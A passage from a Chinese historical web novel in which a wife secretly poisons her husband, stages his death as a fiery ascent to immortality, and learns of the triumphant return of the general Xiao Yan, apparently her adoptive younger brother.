陆韫之正是疑惑不解之际,李宴方信手将画轴丢入画篓,背对陆韫之,在陆韫之狐疑闪烁之中,她将上衣尽数解下,露出光洁无瑕的后背。
“那夫君就画满还债吧。”
十月的夜有些凉意,但李宴方从小活蹦乱跳,底子极好,毫不在意秋夜寒霜。
背上细软豪笔划过,留下滑凉的痒意,她能感受到身后的芙蕖开得何等灼眼绚烂。
时机将至,她取来那个绶带牡丹纹金匣,交给陆韫之,如下令一般:“上色。”
陆韫之这会儿完全沉浸到床帏之间的情意绵绵中,打趣道:“可惜为夫画得这般好,夫人却无缘得见。”
话音未落,他打开金匣,见成色红亮细腻的胭脂,笔尖一勾,往李宴方的后背描去,不由得感慨:“这红蕖绝艳天下,世间仅此一池。”
李宴方嗓音如同浸润了蜜:“还是夫君有福,得以将其据为己有,吞入腹中……”
陆韫之心头一窒,若是将一池芙蕖尽舔舐殆尽,当真是香艳旖旎。
画毕,那一金匣的胭脂用尽,他低头深嗅李宴方玉肩,那胭脂染就的菡萏香远益清。
陆韫之情难自抑,便从身后环抱住李宴方,自肩头寸寸吻下。
温热柔软的唇舌舔舐身后的皮肤,激起一阵连绵不绝的酥麻之感,但在陆韫之无从察觉的地方,李宴方露出势在必得的从容之笑。
不枉她今日以旧情做诱饵,设了这一盘局。
李宴方想下毒,但吃食过手的人太多,盯着的人也太多,一定会被彻查,但闺房之乐可以做得极为隐蔽,外人连二人在房内做什么都不知道,又怎么能料到她会利用作画让陆韫之亲口咽下毒引?
就算鄂国公得知闺房之事,他审问起来也无法理直气壮,她大可因羞遮掩,多方回避。
加之那时陆韫之已死,事情来龙去脉,皆任由她说。
而这盒胭脂已经损耗殆尽,若是查也只能查到她送去夫人太太处的成品,找不到丝毫蛛丝马迹。
待李宴方与陆韫之调笑完毕,同榻而卧,已是子时,四下阒静无声。
李宴方假寐,心如擂鼓,等着毒素发作,陆韫之衣襟上长年累月的熏香是引,今日胭脂里下的也是引。
草药毒虫是她分了好几批次暗中收入府,进而小心调配,二者相撞,才能取人性命。
自娘亲因病故去后,她研读医术,没曾想这过目不忘的本领没能拿来救人于危难,反而是轻而易举地取人性命。
忐忑中,她伸出两指,悄然无声地靠近陆韫之鼻端,已无气息。
李宴方松了口气,转而轻触他颈部脉搏,亦不见生息。
心中强压良久的那一口恶气骤然爆发,心脏因此狂跳,带动脉搏中
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奔涌的热血,冲刷遍四肢百骸,她几乎是惊得弹起,渗出了一身涔涔热汗。
明明筹谋多年即将大功告成,可是当她发现亲手杀了一个活生生的人时,一阵难以按压下的震撼惊惶与道德崩溃带来的未知恐惧,如狂风将她席卷。
李宴方惊觉,按照原定计划,她竟还要在漆黑一片中与这具尸身共待天明!
她宽慰自己,也好,且待陆韫之死透,她才能高枕无忧。
下床穿鞋之时,她才发现自己竟然浑身颤抖,是她眼疾手快扶住床榻才不至于跌倒,从脚底漫至头顶的恐惧远比她想象中的可怕,带来压抑的窒息感。
李宴方赶忙远离床榻,三步并作两步走逃离至梳妆台,台前有窗,窗外有月,这一刻她终于有了一种逃离地狱的解脱感。
可是她只要微微合眼,便瞧见陆韫之!
他的音容笑貌,他的玉树身姿,他或者浅笑,或者疯癫,或者狂奔而至要掐死自己。
李宴方双目瞬间睁开,她病急乱投医,强迫自己去回想别的人、别的事,打开抽屉,颤颤地取出那一条已经褪色的长命缕,缓慢而珍重地将它挂于掌中。
她对于亲人的唯一念想,助她打开回忆旧事的门扉。
哪怕是身陷黑暗与泥淖,李宴方也不得不承认,自己有幸度过一个美好的童年。
幼时,被爹娘捧在手心,自是骄纵无理,不懂事,看似文静,实则满腹诡计。
那时父亲也还在,他时不时被阿娘数落。
她和阿弟则是顽劣成性,书也不读,武也不练,很多时候,都是她灵机一动,要去祸害别人。
比如,觊觎别人院里的柿子。
那枝头伸出院墙,她就去捡竹竿,那竹竿够不到,阿弟就将她背起,两个人做坏事的时候配合默契十足,转眼间就能将那柿子打得七零八落。
后来邻里去告状,这时候哪怕正在吵得针尖对麦芒的阿娘与阿爹都会立刻和好,教训她和阿弟。
她与阿弟自然是互相包庇,一同受罚,既是共犯,无人能逃。
娘抄起鞭子拍在桌面,指着她:“一个人脑袋里全是鬼点子就算了,另一个也一肚子坏水,好巧不巧给你们凑一块儿去。一天不打上房揭瓦!”
阿爹在一旁敲边鼓:“这么聪明就不能用到正道上去?”
虽然那时鸡飞狗跳,笑声与泪水并存,家人俱在,当真是只羡团圆不羡仙。
镜前的李宴方,笑中带哭,如骤雨连连狂催牡丹,花容不再,只剩颓败。
少时读“夜深忽梦少年事,梦啼妆泪红阑干”(注2),不懂琵琶女的悲切,今夜见镜中红颜,才知人人都有一条全力跋涉而无法登临彼岸的倒流河。
她的少年时代永远地结束了。
那条河徜徉于过往的旧岁中,阿娘的去世彻底带走这般美好的时光,这些年她强迫自己不去回忆,可她不得不承认此情此景下,唯有童年与少年旧事能予她温暖慰藉。
阿娘,我为了报仇将自己沉入深潭中。
哪怕陈家该砍头的砍头,该流放的流放,我也得不到快慰与安心,唯有如纤细钢丝般的悔恨深深勒入心脏,鲜血横流,疼痛难忍。
即使陈家衰颓之事并非她主导,但她借陆韫之的手推了一把,可是她却没有丝毫的解脱与释然,那人死了,她的娘亲也无法再将她搂入怀中,予以她无穷无尽的爱。
若不是当初执迷不悟,她如今也不至于与一具尸首共待天明。
娘亲,阿爹……你们都不在了啊,阿弟你呢?
五指悄动,李宴方轻抚长命缕,如同最虔诚的信徒在佛前拨弄念珠,以此来乞求罪孽火海翻腾中遥不可及的些许平静。
注1出自先秦《诗经·大雅·荡》。
注2出自唐代白居易的《琵琶行》。
5. 登仙
月隐星息之时,苍穹中泛起茫茫青灰,洛都城外的一处村集内,一个黑衣人悄无声息翻入低矮土墙,走近青瓦小屋,在窗棱上轻敲三下,得到主人许可,黑衣人不动声色入内。
他低声禀告:“他们尾巴没收住,被我们的人在郊外山林内发现了踪迹,只是那一处有不少高门朱户置业的别院,不好动手。”
萧凭陵蹙眉深思,沉吟几许后道:“那木拓走到哪儿了?献捷的大军呢?”
“那木拓自西散关南下,一路走走停停,如今还未进入洛都境内。献捷的大军已过玄门关。”
那木拓便是北戎派来洛都谈和的王子,他故意走西线,而非一马平川的东线,萧凭陵毫不怀疑他是故意借入朝探明地形,打洛都一个出其不意。
还是那木拓刻意避开自己?
又或者也和自己一样提前进入洛都布局,在外留下个套子待人钻?
萧凭陵对手下道:“接下来的洛都不太平,让献捷的两千人马提速行军。”
那人领命应是,在他走前,萧凭陵又吩咐一句:“别业继续盯着,能捉活口就捉,捉不到就灭口,让他们自己露出马脚。”
在暗不如在明,不如再逼他们一道好了。
那个北拒强敌,收复失地的年少统帅萧偃终将率领浩浩荡荡的人马归京。
*
在同一时刻,远在洛都之中的国公府有了动静。
一夜无眠的李宴方硬生生睁着双眼,捱到此时此刻。
她的心情早已平复,那个惊慌失措的身影被她甩入身后无尽的黑暗之中,再无半点存在过的痕迹。
接下来一系列事情都容不得一点差错。
她将已洗净的绶带牡丹纹小金匣收入妆柜中,再度去床上瞧了一眼陆韫之,他身体已经发凉,但尚未完全僵硬,要动手的话必须抓紧时间。
镇定自若的李宴方简单套上两件长衫,吩咐在外守夜的照清把好门,不可让任何人入内。
李宴方披着蒙蒙亮的晨光前往陆韫之生母——也就是国公夫人徐熙的院落。
徐夫人尚在梦中,被直接杀到床榻跟前的李宴方打搅,她心情极为不悦,养尊处优的脸上浮动着深沉的愠色。
李宴方屏退在一旁侍候的丫鬟,话不多说,直接跪于徐夫人面前。
“噗通”闷响,这一跪把睡意未消的徐夫人彻底跪醒,如非发生大事,这个本分娴淑的媳妇绝不会在日出之前匆匆来访。
徐夫人胸膛里那颗心按捺不住地狂跳。
“母亲,韫之在睡梦中去了。”
“去了……是什么意思?”询问中带着杜鹃啼血的喑哑凄楚。
李宴方在她问话后,不住抽泣起来,带着沙哑的哭腔回话:“韫之这些年与药石作伴,底子极弱,我想着若是能梦中离去,倒也无痛无觉……”
“当真?”徐夫人挣扎起身,怀疑且震惊,“我要去见他!”
伏跪在地的李宴方瞬间抱住徐夫人的双腿:“公爷很快就回来,他回来后必然彻查,若是叫他发现韫之此生之痛,只怕让韫之在地下也难安啊!”
正欲狂奔至见山苑的徐夫人听完僵在原地,冷汗热泪直流而下!
徐夫人费尽心机瞒过丈夫好几年,为的是要保住陆韫之的世子之位,若是此时叫国公发现自己蒙蔽他多时,定然会勃然大怒。
且近年来国公关注二房甚多,再闹这一出,不仅韫之颜面尽失,他死不得安,而她也会被迫将正妻之位拱手让出。
无子的弃妇下场如何她再清楚不过!
一身寝衣单薄,秋晨寒气无孔不入,徐夫人战栗不止,心凉万分。
“母亲,为保住韫之的颜面,不如我们让他踏火登仙而去吧!”
徐夫人明白这是毁尸灭迹的一招,但如果国公命人尸检,一切都会暴露……韫之求仙多年,用这个办法掩藏真意倒也合理。
“好,我随你去布置……再看他最后一眼。”徐夫人忍痛答应,若非形势紧急,她那里做得出叫亲生儿子挫骨扬灰的事情呢?
不多时,在尚未破晓的清晨,二人悄悄行至见山苑。
陆韫之好玄道,在见山苑中的假山叠嶂中修建一方石室,效仿苦修之人,而今被李宴方当作他的焚化室。
否则屋宇火光冲天,没几下功夫就会被国公府众仆浇灭,那时候尸身尚未化成粉末,她岂能轻易全身而退?
天色未明,不敢点灯,徐夫人并未瞧清陆韫之而今的模样,他眼睑下已有异状,徐夫人只顾着伤心,不曾发觉。
她一边将陆韫之背至山中石室,一边催促徐夫人搬来陆韫之的书籍画作,连同秋冬日正常供应的炭火与引火的干柴,焚而化之。
石室隐蔽,更有层林相遮,火光不显,虽有浓烟升天,但灰暗的天色提供绝佳的庇护。
巡夜的下人发现,被李宴方以陆韫之焚烧旧画为由打发。
石室溢出焚烧纸张书籍的气味,不会叫旁人怀疑。
再说陆韫之近年来多有喜怒无常,时而行为古怪难懂,下人们见怪不怪,就算疑惑也不敢触怒于他。
待晨光渐洒,旭日东升,国公回府之时,石室内只余一摊粉末。
徐夫人与李宴方准备前往国公面前“据实以告”,她们为了各自的利益,只能选择一同制造出陆韫之求仙疯迷、踏火而去的假象。
及至巳时,鄂国公陆朴的车架才驶达公府,年近五十的陆朴自别业归来似心绪不佳,早年他也是上过战场立功的武将,可却在天命之年显出疲惫倦怠。
陆朴下车后直径走向书房,待他推开房门一看,见妻子徐熙失魂落魄地坐在上首,儿媳李宴方魂不守舍,死死抱着一卷轴,两人脸上尽是憔悴悲哀之态。
见这阵仗,陆朴川眉直拧,疑惑道:“夫人,发生了何事?”
徐夫人被这一声唤攫回心神,艰涩开口:“韫之……去了。”
“什么?!”
陆朴花白的须髯连抖三下,显然难以置信,可是再度观察妻子疼痛麻木的神色,也难免心揪几下。
他定住身形,目光如刀,扫过眼前二人,悲切而微怒:“他好端端的,究竟怎么回事?”
李宴方在这声诘问落地之后,呆滞迟疑地从座椅上滑落跪地,泪如雨下,悲哀道来。
“夫君渴求仙道,在石室中踏火登仙而去了……是我一时不查,否则定然将他劝归。”
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李宴方泣涕涟涟:“我于他书房中见到这幅卷轴,便知他心念已久。”
说罢,她将那一卷卷轴呈与国公。
陆朴急忙打开观览,见图中描绘情景极为诡异,山清水秀、千重叠嶂里中燃起几道火光燎原,火势烧出仙鹤之形,腾云飞天。
待他目光移至落款年份,心头震撼更甚,如今是应昌五年,而这画的落款为应昌元年,原来陆韫之竟然在四年前就心存此念。
这儿子真是白费他几年的教导光阴啊!
都说虎毒不食子,他虽然愤怒于陆韫之不合他期望,但舐犊之情仍存心间,这一幅画叫他看得难受,沉吟许久哑着音问:“他如今安在啊?”
他这一问,徐夫人回想及那一抔尘土,不禁悲从中来,嚎啕大哭,肝肠寸断。
伏跪的李宴方心知陆朴问出此言,便多半是相信了,不枉她初见此画时便作此打算,恰好落款年月是她入府之前,能洗清她诱导陆韫之的嫌疑。
因此,出府的难度降低。
李宴方再次对夫妇二人一拜:“夫君存登仙之志日久,儿媳愿前往上清观替他誊抄经文,替他求一个仙途平坦。”
陆朴心中震荡未平,近年来诸事不顺,眼前一桩更是缭乱难解,没曾想突然遭逢一出白发人送黑发人,此时无力再过问什么,只是淡淡点头,赞赏儿媳的一片真心,允了她的要求。
说来,这儿媳最初并不得自己青眼,若非太后示意,非要断了他交结世家之心,他定然不会让她进门。但这三年来她不生风浪,他倒也不至于自降身份去刁难她。
既然她与韫之鹣鲽情深,就由她去吧。
李宴方不曾久待,一路心不在焉地走到居所。
只不过,这副模样是装给旁人看的。
她心中筹算未断,如今暂且糊弄过去,她做事不留痕迹,可这事儿到底离奇诡异,难保将来陆朴不会查到什么,届时怀疑到自己头上。
毕竟威风一时的国公也不是省油的灯。
目前最大的漏洞就是陆仁,可他若是和盘托出,无异于承认自己得了世子的命令去染指其夫人,这话一说,他半点活路都没有,陆朴绝不会让得知此等丑事的人存于人间。
故而,李宴方并不担心陆仁泄密,就算他怀疑是她设局作恶,也不可能豁出命去披露。
陆韫之的丧仪还未定下,李宴方揣测陆朴多有不满踏火登仙之举,世子竟然痴迷于求仙问道,以致于魔怔到自焚的地步,说出去,莫不是叫人以为他陆朴教子无方,平白给国公府抹黑?
治丧之事,应当从简从快,那么她在丧仪之后便能前往上清观,那时再行金蝉脱壳之法,便比在国公府中轻易许多。
她唤来尚不知情的照清,问:“听闻那收复四州的猛将萧偃即将振旅凯旋,接受太后与少帝的封赏,不知大军几日能到洛都?”
照清回答:“我听走街串巷的卖婆说了,大约就这几日,礼部的人已经忙活得脚不沾地了呢。”
大军奏凯,陆韫之之死就算再突然,全城的目光也会被萧偃所率将士吸引去,到时候又剩几人注意?
萧将军啊,你真是帮了我个大忙,这时机未免太有利于她。
6. 献捷
夜深月静,烛光微微摇动,映照出方灯纱罩上的花鸟虫鱼纹,黄花梨木长桌上摆放几张药方,陆朴面罩寒霜,狭长的双眼冷厉凌人。
“夫人瞒我六年之久,瞒得我好苦啊!”
陆韫之亡故时二十有四,便是六年以前,他刚成年时便有此症,竟叫徐熙与陆韫之瞒天过海如此之久。
陆朴自是晓得这二人皆是为世子之位,在他眼皮底下迭出暗招,他最容不得被人欺瞒,此刻心中已动了休妻之念。
面对眼前怒发冲冠的丈夫,徐熙自知他已拿准了证据,这些年她虽暗中寻觅良医,但终究是经年日久,留下的痕迹难以全部消除,他不过三日竟然挖了出来,推理一番也不难得出结论。
徐夫人心知推脱掩盖已无用:“此事瞒了夫君,是我之过,愿由夫君处罚。然而韫之也与夫君血脉相连,此番他去,你如何不悲?他生前之痛,你又何必在他去后呶呶不休?”
男人的尊严何其重要,陆朴亦懂。
徐夫人点到为止,作潸然泪下之态,一双保养尚可的玉手拂去泪珠,不再言语。
“呶呶不休?好啊,你倒是恶人先告状起来!别以为我不知道你们联合起来欺瞒我是图什么?不就是图个世子之位吗?若是他一辈子都无法痊愈,你待如何?是从外头抱一个孩子进来混淆我陆家血统吗!”
听闻丈夫提及混淆血统一事,徐熙已是惊骇难当,心虚不已,若是真叫他查出她与陆韫之筹划了偷梁换柱之计,陆朴一定会休妻将她扫地出门!
绝不能叫他查到……
陆仁一个书童伴读尚且容易料理,只要多给些钱财叫他返乡,路上派几个杀手伪装成强盗便杀人灭口。
唯有这李宴方,她虽不至于蠢到自爆受辱,但终究是个知晓来龙去脉的祸害!
好就好在她如今自请前往山中修行,山里能动的手脚可就多了去了。
陆朴见发妻如此嘴硬,怒火燎原,吹得泛白的长须东摇西摆,他沉眸冷对,森寒目光死死盯住徐熙。
强行撬开她的嘴,万一是桩误会岂不彻底伤了夫妻情分?
陆韫之刚死,他突然休妻必会招来话柄,倒不如从儿媳李宴方处调查一遭。
陆朴强压怒气,舒展眉头,佯作释然。
“罢了,我心知你也是爱子心切,韫之出了那样的事,必然不愿与人言,但你欺瞒于我许久,我也不得不罚你,闭门思过三月吧。”
徐夫人离开后,陆朴平静地将心腹搜罗来的陈年药方尽数焚毁,在做完这件事之后,强行收敛的怒气勃然爆发,他抓起书桌上的砚台镇纸砸去,一时之间,书房内尖锐嘈杂之声不绝。
陆朴发泄完毕,落座于太师椅上,唤来下人。
“世子夫人这些年在府中敬上爱下,与韫之伉俪情深,今而新寡,她又自请为韫之抄经祈福,你去账房叫人拟单,赠她些田产锦帛、金银玉器之物,也足够她孝期之后风光再嫁。她明日前往上清观,多派驻些人手护卫。”
那下人听了后退下,心里只觉国公爷当真是宽宏大量,慈爱仁德。
却没瞧见国公爷的脸上的怒意与恨意,陆朴思索着,陆韫之虽服药多年,身体每况愈下是真,但石室登仙自焚而死终究太不合常理。
还是陆韫之早已灯尽油枯,撒手人寰?而徐熙婆媳二人为了掩盖真相因此扯下弥天大谎?
无论如何,李宴方必是知情之人。
陆朴眉间郁色更重了几分,只是明日献捷大典在即,他此时只能按下此事。
明日带兵入城的那人,不知有多少人想要拉拢?
抑或是除之而后快。
*
献捷的大军暂驻扎于洛都城外,待明日吉时入城陛见。
萧偃还未入睡,他卸去一身甲胄,只着了襕衫,停驻于帐外,抬头望向洛都的晴朗星空。
他回来也有几日了,这才第一次重新回望这片熟悉的天幕。
北斗指西,天下皆秋。
阿姊小时候就教过他如何通过星斗在夜间辨明方向,这一片星空真叫人触景生情。
他尚在回忆之时,那狗头军师骂骂咧咧地靠近,把大氅劈头盖脸就往他挺拔的脊背上挂去。
“天那么冷只穿一件单衣啊将军,你伤还未愈啊!小心年轻把底子糟蹋亏空了,没等白头就死翘翘。据鄙人不可靠推测,冠军候霍去病约莫是病故,因长年高强度作战所致。你该不想步这种后尘吧?”
萧偃并未接话,慕容修依旧絮絮叨叨说个不停:“像我这样既懂兵法又懂岐黄还懂天象的神人,怎么就给你打工了呢?还得盯着你的饮食起居,工钱也不多给几份!”
“等太后与小皇帝的赏赐下来,你的工钱就有着落了。”萧偃揶揄他,这人有时粗鄙势利得很,最初那一副高深莫测的世外高人做派真不知道把多少人骗得团团转。
慕容修正要反驳,强调自己报国之心无关钱财,却见一亲卫靠近,低声向萧偃禀告一事。
慕容修懂事地闭上嘴,周围陷入一阵诡异的安静中。
沉默许久的萧偃竟然放声大笑,快意直冲霄汉。
那一对比幽暗夜幕更深邃、更冷寂的眸子被染上点点星光,终于有些灵动的生气,萧偃对上不明所以的慕容修,沉声道:“你放心好了,我一定好好治伤,调养身体,长命百岁。”
“你疯癫了?”
慕容修不由得仔细打量他的容色,此人翻脸比翻书还快,莫不是突发了什么恶疾,说起了胡话?便伸出手要给他把脉。
萧偃睨了他一眼,目光如刀,好似要把这不会说话的嘴剌开。
“我阿姊嫁了个短命鬼,他前几日暴毙,我可不得打起精神来护好她的下半辈子么?”
见慕容修半知半解,萧偃道:“鄂国公府世子陆韫之前几日盛年去世,引起了不小的风波,但整个国公府把后事做得极为简单,看似不想引起外人的窥探。想必这其中有些不可告人的秘密。”
他交代亲卫:“去查,尤其留意最近出入公府的人。”
那亲卫一得令便消失在无边的夜色中。
狗头军师也是军师,慕容修脑筋转得极快,霎时间就明白其中的弯弯绕绕,想起萧偃在护国寺中所言,那姓陆的就是他姐夫?
如此大逆不道?但太像是他能做出来的事情。
慕容修呆愣在原地,不过他阿姊并非血亲……这倒也……不是不行?只是这消息太过骇人,他得确定一番。
他试探道:“这么说来,你这算得上是‘心诚则灵’?”言下是指在佛前要杀陆韫之之事被佛祖允了。
“呵,你胡说些什么,现在不怕雷劈了?”萧偃哭笑不得,“我可不会寄希望于天降神罚,他盛年过世,想必有什么隐疾又或者国公府内出了什么岔子,我阿姊身陷其中,少不得我为她筹谋几番。”
若说萧偃这一番话不违常理,但黑暗中突然发狠的眼神让狗头军师大感不妙,悄然遁走。
广阔星空下只余萧偃一人。
阿姊,你当初要嫁的富贵也不过是过眼云烟,镜花水月。
看来是那人福薄,消受不起你的一腔真情!
他陆韫之连
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命长都比不过我一个刀头舔血的征人,他还有什么地方值得你倾心?
这一回,你纵然要嫁富贵荣华,我也有了。
连璀璨的星斗也稍逊色于他熠熠闪烁的双眸,眸中如深湖水波起兴,刻意压抑已久的感情在这一刻躁动汹涌,掀起惊涛骇浪,久久不能平息。
*
朝阳初升,秋色澄明,驰道上献捷的大军军容威严整肃,令行禁止,连飒踏马蹄都不曾惊起干燥的尘土。
大军行至洛都外城正南门应天门时,城阙之上号角齐鸣,焰火震天。
这一支在北境立下赫赫战功的强师劲旅,终以其最为肃穆悍勇的姿态缓步踏入都城,迎接百姓箪食壶浆的热情,等待来自于皇城大明宫中的册封与赏赐。
这一日万人空巷,盛况空前。
城中百姓甚至在天未彻晓之事就拖家带口挤至洛都南北主干道天街两侧,将主干道附近的支道都堵得水泄不通,只为观摩劲旅威仪。
听得车外人声鼎沸,一向颇为沉得住气的照清都忍不住掀开车帘查看,她一边张望,一边叹气。
“小姐,我们明明已经提早出城,没想到百姓们比我们起得更早,就是为了占据一个有利的观看位置,弄得周边的各条干道都拥堵不堪,车架更是寸步难行,看来我们得等献捷大典结束才能出城,前往上清观了。”
照清朝李宴方看去,虽然不太合时宜,但有句老话莫名地跳到了嘴边——想要俏,一身孝。
此时的李宴方身着白衣,一尘不染,云鬓边簪上一朵盛开如云的素绢牡丹,另一侧仅饰一支洁白纯净的羊脂玉簪,额前素净,眉黛未描,不饰脂粉,不染丹朱,如孤悬于澎湃海崖之上的一轮冰镜皎月。
颜色与月色一般,沉静,微冷,萦绕着无尽的哀伤与忧愁。
照清明白,小姐丧夫,如今正是哀戚之时,她不欲多言,这时李宴方却慢悠悠开口,那声音倒似从寒夜月下传来,有几分冷意。
“大晟定国之前,诸侯林立,连年烽火,征战不休,那时北戎便趁机将北境十四州掠去,距今已有六十余年,六十年间北戎人借十四州地利之便,长期侵扰北方边境,军民苦不堪言。”
“我朝曾北伐二次欲夺回十四州,但均以失败告终。如今四州光复乃是大晟开国以来首次在北境取得的大胜。”
“其意义远远超过领土的回归,它是国人等待数十年的反攻雪耻与光复旧土的鼓号先声,故而朝野上下尤为看重这一次献捷。”
在国公府中,照清从未听过李宴方谈天下大势,今日见她侃侃而谈,胸藏丘壑,浑身散发出智慧明达的气息,照清望向李宴方的时候,不由为她折服。
照清到李宴方身边不过五年,她自然不知过去的自己常与义弟研读兵书的旧事。
李宴方抿了口清茶接着道:“如此盛事,只怕黎民百姓穷其一生都难以再度遇见,倾城出动倒也在常理之中,是我们没挑到好时候,你若好奇,便打开车门看看热闹吧。”
她话音刚落,便听得车外几声响亮激动的呼号:“是萧偃将军,他率着人马过来了——”
“一马当先,威武不凡啊!”
“可不是么,年纪轻轻便立下不世之功,在青史上也是少见的!”
“哪儿呢哪儿呢,让我也瞅瞅!”
……
照清得了她的允,赶忙打开车门,生怕错过。
她们车架停顿之处,恰是东西向大道与南北向大道交汇处的十字路口,抬头便是豁然开朗的一段路口,正好可以看到缓步向北面皇城进行的大军。
7. 黄土
热情洋溢的人潮汹涌澎湃,守卫在天街两侧的执戟卫士不得不以横戟怒喝的方式阻止百姓们拥挤到天街上,甲士们正是左支右绌之际,那整肃威严的甲鸣声、马蹄声自应天门徐徐传来,震天动地。
一霎间,语笑喧阗的天街骤然安静,百姓们被铺天盖地的雄沛威武之气震慑,纷纷止住呼喊与推挤。
主干道天街宽度约有百步,可容纳百匹骏马并行,今日为确保两侧观礼百姓安全,献捷的大军五十匹战马为一行,前军与后军距离不过两尺,缓步行进。
众人循声望去,肃穆的人马恰如一道的玄铁洪流有序推进而来。
一马当先、统帅全军便是年少成名的悍将萧偃。
他身着明光玄甲,兜鍪之下,浓眉如剑,压凛然杀气,虎目光熠,藏骁悍威势,鼻梁英挺,薄唇似笑非笑,似有还无的笑意丝毫不减其勇毅英武,反而衬出一派举重若轻、潇洒自如的风姿神韵。
萧偃策马一路行来,百姓引颈观望,纵然他已远去,众人亦不改身形,凝望着逐渐北去的献捷大军。
真真称得上“独绝当时”。
李宴方安坐于车内,军马逐渐行近,砖石上传来有节律的震动,照清已按捺不住,坐至车门前,被照清凑热闹的情绪感染,李宴方也不由得掀开一侧的窗帘,抬首而望。
从车中探出的视角本就受限,而这一侧恰好有一位壮汉将孩子扛在肩头观礼,成为阻拦李宴方目光的一座高峰,她颇为不快,干脆也与照清一样,起身行至车前。
只是这一折腾,天街上给她留下的只余萧偃身披赤红猛虎啸牙披风的背影。
其人挺拔如松如竹,顶天而立地。
不知为何,她心中漫上一层无名悲戚,不由得轻叹一声。
催马行过的路口的萧偃却如有感悟,心头似被一揪,蓦然回首,可只见车马不见那一抹熟悉的人影。
他终是淡淡回头,直视前方。
照清仍在车门口,但军马行得快,在她听到百姓小声起哄萧将军回首一事时,萧偃早已经走远。
她不由得埋怨:“我刚探出身子的时候,只见将军侧面,他头戴兜鍪根本瞧不清面容,方才回首又错过了,看个热闹怎么这么难呢!”
照清回想起来,诸多贵人于天街两侧的酒楼茶肆高层预先定下了雅间,登高望远,才能把这热闹看得个淋漓尽致。照清有些不忿,正待与李宴方说起,却见她眉目忧郁。
“小姐,怎么了?”
“只是想起故人罢了。”那人身形虽为披风所遮,但却叫她一眼想起萧凭陵来。
照清宽慰道:“或许萧郎君也在献捷的大军中,大典之后便来寻你了。”
照清到她身边时,萧凭陵还未从军,只是她不晓得萧凭陵的脾性,罢了,照清也是一番好心。
李宴方淡淡开口:“嗯,你说的是。”
若是真要相见,何故三年不闻音信?
种因得果,若是因此亲缘断绝,也是她这辈子误入歧途旁生的恶果,咎由自取。
来日如何,也只能且看来日。
*
应昌五年,十月。
大明宫大朝正殿含元殿之上,承天太后冯峨携少帝李僖、文武百官静待捷音。
皇帝年少,登基时七岁,而今也不过十二,大晟的军国大事便由承天太后决断圣裁。
早在先帝登基之初,便下旨意,谕史馆学士,书皇后言亦称“朕”暨“予”,著为定式。(注1)
群臣百姓称其为皇后陛下。
自此之后,承天太后与先帝二圣临朝,共决国事,及至先帝驾崩,太后陛下辅佐幼帝登基。其手握太阿已有十余年。
此番盛况,便是承天太后下旨,扬我国威,赏我将士。
陛阶之上,年逾四旬的承天太后身着朝服,神仪肃雍,凤目凛凛扫过两千献捷的将士。
这是开国立朝以来少有的盛况,故而她特许两千人马入朝觐见,礼逾往常。
如此作为本有朝臣不赞,只因萧偃乃异军突起,不似老将知根知底,朝臣担忧哗变。但太后胸怀可纳四海,用人不疑,为了安抚朝臣,也只是下令让献捷大军收起兵器,下马步行入宫朝见。
“众将士平身!”太后展平双臂,朗声而道,“赐锦帛!赐酒宴!”
山呼万岁,谢主隆恩。
萧偃上前:“微臣代边关众将士向太后与圣上献礼。”
在他身后,四名亲兵手捧四方铜鼎,鼎上铭文青、莫、云、应四个笔力遒劲的大字,鼎中所呈乃萧偃收复四州时就地取来的黄土。
前朝覆灭,疆土沦丧,唯有大晟将失地尽数收复,才显得晟朝承继天命,是为正统,天下归心。
待内监将四鼎转呈于太后与皇帝,太后欣然赞许,这小将不光是骁勇善战,还颇具玲珑心思,是个可造之才,有此等人才何愁十四州不光复?
她大袖一挥:“四州故土,重归大晟,全仰赖朝臣宵衣旰食,将士出生入死,有如此忠臣良将乃我大晟之幸,万民之福!边靖民安,金瓯无缺,指日可待!便以此四抔黄土,供于太庙,祭祀先祖,昭告天下!
“太后圣明,圣上圣明!明主在上,臣等必将鞠躬尽瘁,万死不辞!”含元殿上的朝臣将士又是一拜。
重赏之后,便是荣封。
陛上太后打量起萧偃:“听闻萧卿作战迅猛,风驰电掣,将北戎恶敌强斩于刀下,所率骑兵亦是势如奔浪,猛如虎狼,如此便此尔番号‘飞捷’,既赞奔袭迅捷之勇,又寄捷报频传之望,来人,赐虎符予萧卿!”
此举让朝臣颇为意外,其中也包括萧偃。
予番号,赐虎符,便是让他独自统帅飞捷军,只效命于太后皇帝。此举背后的嘉赏与信任不言而喻,要知道两千人马,还是刚从北境沙场上返回的虎狼之师,连人数众多的禁军都未必能奈何。
萧偃心如擂鼓,太后到底是对他深信不疑,还是把他架在火上烤?
晚宴之时再试探一番好了。
萧偃大方接受,这一举动倒让许多人瞧出些年少轻狂来,其中便有鄂国公陆朴,他不知这样一个轻浮贪功之人怎么就立下了这等大功,走了这般大运?
太后却不把阶下诸人眼底浮浪放在心上,六十余年边疆遭受外敌侵扰的经历不计其数,忧患未止,这一番胜仗,叫她看到第三次北伐胜利的希望,她想毕其功于一役,便要知人善任,胸怀远略,舍弃小节。
此子可用或不可用,皆在她一念之间。
太后又开口:“萧卿弱冠之年立下不世之功,朕有意封其为舞阳候,不知诸位爱卿意下如何?”
本朝多以食邑为封号,舞阳即是一县名。
因他战功赫赫,封侯拜将的传言早在萧偃归京前就流传纷纷,太后提出,倒无人反
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对。
没想到第一个跳出来的竟然是萧偃本人。
“微臣年少,资历尚浅,此番大胜乃三军将士万众一心之成果,微臣受之有愧。”
飞捷一事已叫他受宠若惊,侯爵之位不得不辞。
他这一番推辞,太后并未愠怒,颇为赞赏其懂分寸知进退,然不可不封也:“不封汝,岂不叫舍生忘死的众将士寒心?将来又谁愿为我大晟抛头颅洒热血?”
不得不受。
萧偃再拜,起身之时,已是大晟开国以来最年轻的王侯。
*
是夜,太后在麟德殿内赐宴群臣,觥筹交错,丝竹不歇。
宴时众人的焦点自然而然地聚在了新贵萧偃身上。
一表人才,年少有为,不知是多少人眼中的东床快婿?酒酣耳热之际,众臣心思活络起来,便有人借着酒气谈起萧偃的婚事,一时之间各方均有意无意地留起心眼。
其中更有一位皇亲国戚,看热闹不嫌事大:“萧候立下汗马功劳,若是有心仪的女子,便叫太后陛下下旨赐婚,立业而成家,岂不快哉?”
萧偃自知时机已到,起身上前,伏地,作请罪状:“太后容禀。”
殿中热烈的气氛在竟在一瞬凝固,太后微微抬首,饶有兴致地看向萧偃,等待下文。
“请恕微臣欺瞒之罪,‘偃’乃微臣之字,而非本名,微臣本名萧凭陵。”
